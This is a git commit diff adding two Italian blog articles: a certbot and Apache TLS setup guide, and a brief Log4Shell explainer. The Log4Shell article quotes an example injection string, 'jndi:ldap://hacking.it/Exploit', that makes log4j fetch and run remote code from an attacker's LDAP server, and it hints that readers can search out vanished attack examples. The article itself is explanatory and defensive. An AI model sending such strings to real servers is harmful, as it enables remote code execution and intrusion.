summaryrefslogtreecommitdiff
path: root/articles/2021
diff options
context:
space:
mode:
Diffstat (limited to 'articles/2021')
-rw-r--r--articles/2021/20210420_install-certificates-with-certbot.rhtml43
-rw-r--r--articles/2021/20210420_install-certificates-with-certbot.rhtml.config2
-rw-r--r--articles/2021/20211213_log4shell-0-day-vulnerability.rhtml34
-rw-r--r--articles/2021/20211213_log4shell-0-day-vulnerability.rhtml.config2
4 files changed, 81 insertions, 0 deletions
diff --git a/articles/2021/20210420_install-certificates-with-certbot.rhtml b/articles/2021/20210420_install-certificates-with-certbot.rhtml
new file mode 100644
index 0000000..c60ad39
--- /dev/null
+++ b/articles/2021/20210420_install-certificates-with-certbot.rhtml
@@ -0,0 +1,43 @@
+<h1>Installare certificati con certbot</h1>
+<p class="date-published">Alessandro Iezzi, 20 aprile 2021</p>
+<h2>Introduzione</h2>
+<p>In questo articolo si vedr&agrave; come installare certbot su una macchina
+ dotata di distruzione GNU/Linux Debian.</p>
+
+
+<h2>Installazione</h2>
+<pre><code># apt-get install certbot</code></pre>
+
+
+<h2>Generare il certificato</h2>
+<pre><code># certbot certonly --apache</code></pre>
+
+
+<h2>Rinnovo automatico</h2>
+<p>Il pacchetto certbot sul tuo sistema viene fornito con un job di cron o
+ un timer di systemd che rinnover&agrave; i certificati aumaticamente prima che
+ scadano. Non ci sar&agrave; bisogno di avviare certbot nuovamente. A meno che
+ non si cambiano le configurazioni. Si pu&ograve; verificare il rinnovo
+ automatico per i certificati eseguendo questo comando:</p>
+<pre><code># certbot renew --dry-run</code></pre>
+
+
+<h2>Esempio di virtual host</h2>
+<pre><code>&lt;VirtualHost *:80&gt;
+ ServerName ${DOMAIN}
+ Redirect permanent / https://${DOMAIN}/
+&lt;/VirtualHost&gt;
+
+&lt;VirtualHost *:443&gt;
+ ServerAdmin ${ADMIN_EMAIL}
+ DocumentRoot ${DOCUMENT_ROOT}
+ ServerName ${DOMAIN}
+
+ ErrorLog ${APACHE_LOG_DIR}/error-${DOMAIN}.log
+ CustomLog ${APACHE_LOG_DIR}/access-${DOMAIN}.log combined
+
+ SSLCertificateFile /etc/letsencrypt/live/${DOMAIN}/fullchain.pem
+ SSLCertificateKeyFile /etc/letsencrypt/live/${DOMAIN}/privkey.pem
+ Include /etc/letsencrypt/options-ssl-apache.conf
+&lt;/VirtualHost&gt;</code></pre>
+</div>
diff --git a/articles/2021/20210420_install-certificates-with-certbot.rhtml.config b/articles/2021/20210420_install-certificates-with-certbot.rhtml.config
new file mode 100644
index 0000000..e13ae32
--- /dev/null
+++ b/articles/2021/20210420_install-certificates-with-certbot.rhtml.config
@@ -0,0 +1,2 @@
+title = "Installare certificati con certbot"
+pageName = home
diff --git a/articles/2021/20211213_log4shell-0-day-vulnerability.rhtml b/articles/2021/20211213_log4shell-0-day-vulnerability.rhtml
new file mode 100644
index 0000000..cca7617
--- /dev/null
+++ b/articles/2021/20211213_log4shell-0-day-vulnerability.rhtml
@@ -0,0 +1,34 @@
+<h1>Gravi vulnerabilit&agrave in Log4j</h1>
+<div class="hyphens">
+ <p class="date-published">Alessandro Iezzi, 13 dicembre 2021</p>
+ <p class="italic">Questa vulnerabilit\&agrave; interessa solo amministratori
+ di sistema e programmatori Java e non i normali utenti.</p>
+
+ <p>La modalit&agrave; di attacco &egrave; molto semplice. Molte volte, si
+ tende a scrivere log di questo tipo:
+ <code>log.info("User input: {}", userInput)</code> e non c'&egrave; nulla
+ di sbagliato. Se l'utente prova ad inviare una stringa formata, per esempio,
+ in questo modo: <code>jndi:ldap://hacking.it/Exploit</code> entra in azione
+ la classe <code>JndiLookup</code> di <code>log4j-core</code>. La libreria,
+ effettua una chiamata verso quel server LDAP che gli risponder&agrave; con
+ l'URL di un sito web contenente l'exploit. L'exploit verr&agrave; eseguito
+ sul server da Log4j, rendendo inutili strumenti quali firewall e IDS/IPS.
+ </p>
+
+ <p class="italic">Alcuni utenti su GitHub avevano messo esempi di attacco ma
+ ad oggi (16 dicembre 2021) sono spariti. Se effettuate qualche ricerca,
+ forse riuscite a trovare ancora qualcosa.</p>
+
+ <p class="italic">Ho sentito un'intervista alla radio, l'intervistato
+ consigliava di aggiornare varie applicazioni mobile e sul computer
+ nonch&eacute; il sistema operativo. Questi consigli valgono sempre,
+ a prescindere dalle vulnerabilit&agrave;, in questo caso, l'utente tipico
+ NON deve fare assolutamente nulla, visto che la problematica riguarda noi
+ programmatori e amministratori di sistema.</p>
+
+ <h2>Riferimenti</h2>
+ <ul>
+ <li><a href="https://logging.apache.org/log4j/2.x/security.html">https://logging.apache.org/log4j/2.x/security.html</a></li>
+ <li><a href="https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/">https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/</a></li>
+ </ul>
+</div>
diff --git a/articles/2021/20211213_log4shell-0-day-vulnerability.rhtml.config b/articles/2021/20211213_log4shell-0-day-vulnerability.rhtml.config
new file mode 100644
index 0000000..65718b8
--- /dev/null
+++ b/articles/2021/20211213_log4shell-0-day-vulnerability.rhtml.config
@@ -0,0 +1,2 @@
+title = "Gravi vulnerabilit&agrave; in Log4j"
+pageName = home